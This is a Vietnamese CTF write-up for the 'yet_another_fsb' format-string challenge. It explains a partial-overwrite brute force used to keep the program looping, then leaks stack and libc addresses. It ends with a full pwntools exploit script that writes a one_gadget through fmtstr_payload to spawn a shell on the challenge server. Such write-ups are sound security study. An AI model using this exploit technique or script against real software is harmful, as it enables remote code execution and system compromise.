## yet_another_fsb
checksec : 
- 1 bài fsb brutefoce , nhìn vào ta thấy được có 1 bug fsb , tuy nhiên nếu muốn loop vô hạn thì ta phải sửa được giá trị v5 != 0 , và đây có lẽ là điều khó khăn nhất ở bài này

- đây là stack của ta tại ```printf```

- ở đây ban đầu mình nghĩ là cần sử dụng 1 con trỏ stack(A) đang trỏ đến địa chỉ stack khác(B) , lúc này ta cần ghi địa chỉ B thành địa chỉ chứa giá trị cần ghi ("C") , sau đó ghi C thành giá trị cần ghi
nó sẽ như thế này :
```
A->B
C->value
A->C
cuối cùng là ghi C thành giá trị khác 0
```
- tuy nhiên vì chỉ được ghi 1 lần nên cách này có vẻ khá rắc rối , ta cần dùng cách khác , nếu để ý kĩ thì 4bit cuối cùng của giá trị cần ghi luôn là 'e' và offset thứ 21 ta có thể control được , vậy ở đây ta sẽ overwrite 1 byte của offset21 sao cho 4bit cuối sẽ luôn là e -> ta sẽ bruteforce 4 bit (2^4 = 16) , tỉ lệ sẽ là 1/16
```
giá trị cần ghi : 0x7fffffffd8be
offset 21 : 0x00007fffffffd888
```

- bruteforce xong rồi thì phần còn lại ta có thể leak_stack hoặc overwrite GOT (bài này là RELRO 1 phần)
script
```python
#!/usr/bin/env python3
from pwn import *
exe = ELF("./yet_another_fsb_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
p = process()
HOST = "775be8f93719361fa898224c7cf5d114.chal.ctf.ae"
p = remote(HOST, 443, ssl=True, sni=HOST)
#gdb.attach(p,gdbscript='''
# b*0x00000000004011ea
# b*0x00000000004011ef
# ''')
input()
sleep(1)
payload = b'%254c%27$hhn'
payload += b'|%43$p|%41$p|'
payload += b'\xfe' * (0xa9 - len(payload))
p.send(payload)
sleep(0.5)
p.recvuntil(b'|')
stack = int(p.recvuntil(b'|')[:-1], 16)
stack_write = stack - 0x120
log.info(f"stack {hex(stack)}")
libc.address = int(p.recvuntil(b'|')[:-1], 16) - (0x7f7be8cf9c88 - 0x7f7be8cd4000)
log.info(f"libc: {hex(libc.address)}")
one_gadget = 0xff2ef + libc.address
pop_rdi = 0x00000000000fd8c4+ libc.address
system = libc.sym.system
bin_sh = next(libc.search(b'/bin/sh\x00'))
write = {
stack_write:one_gadget,
stack_write-10:0
}
payload = fmtstr_payload(6,write,write_size='short')
p.sendline(payload)
p.interactive()
```
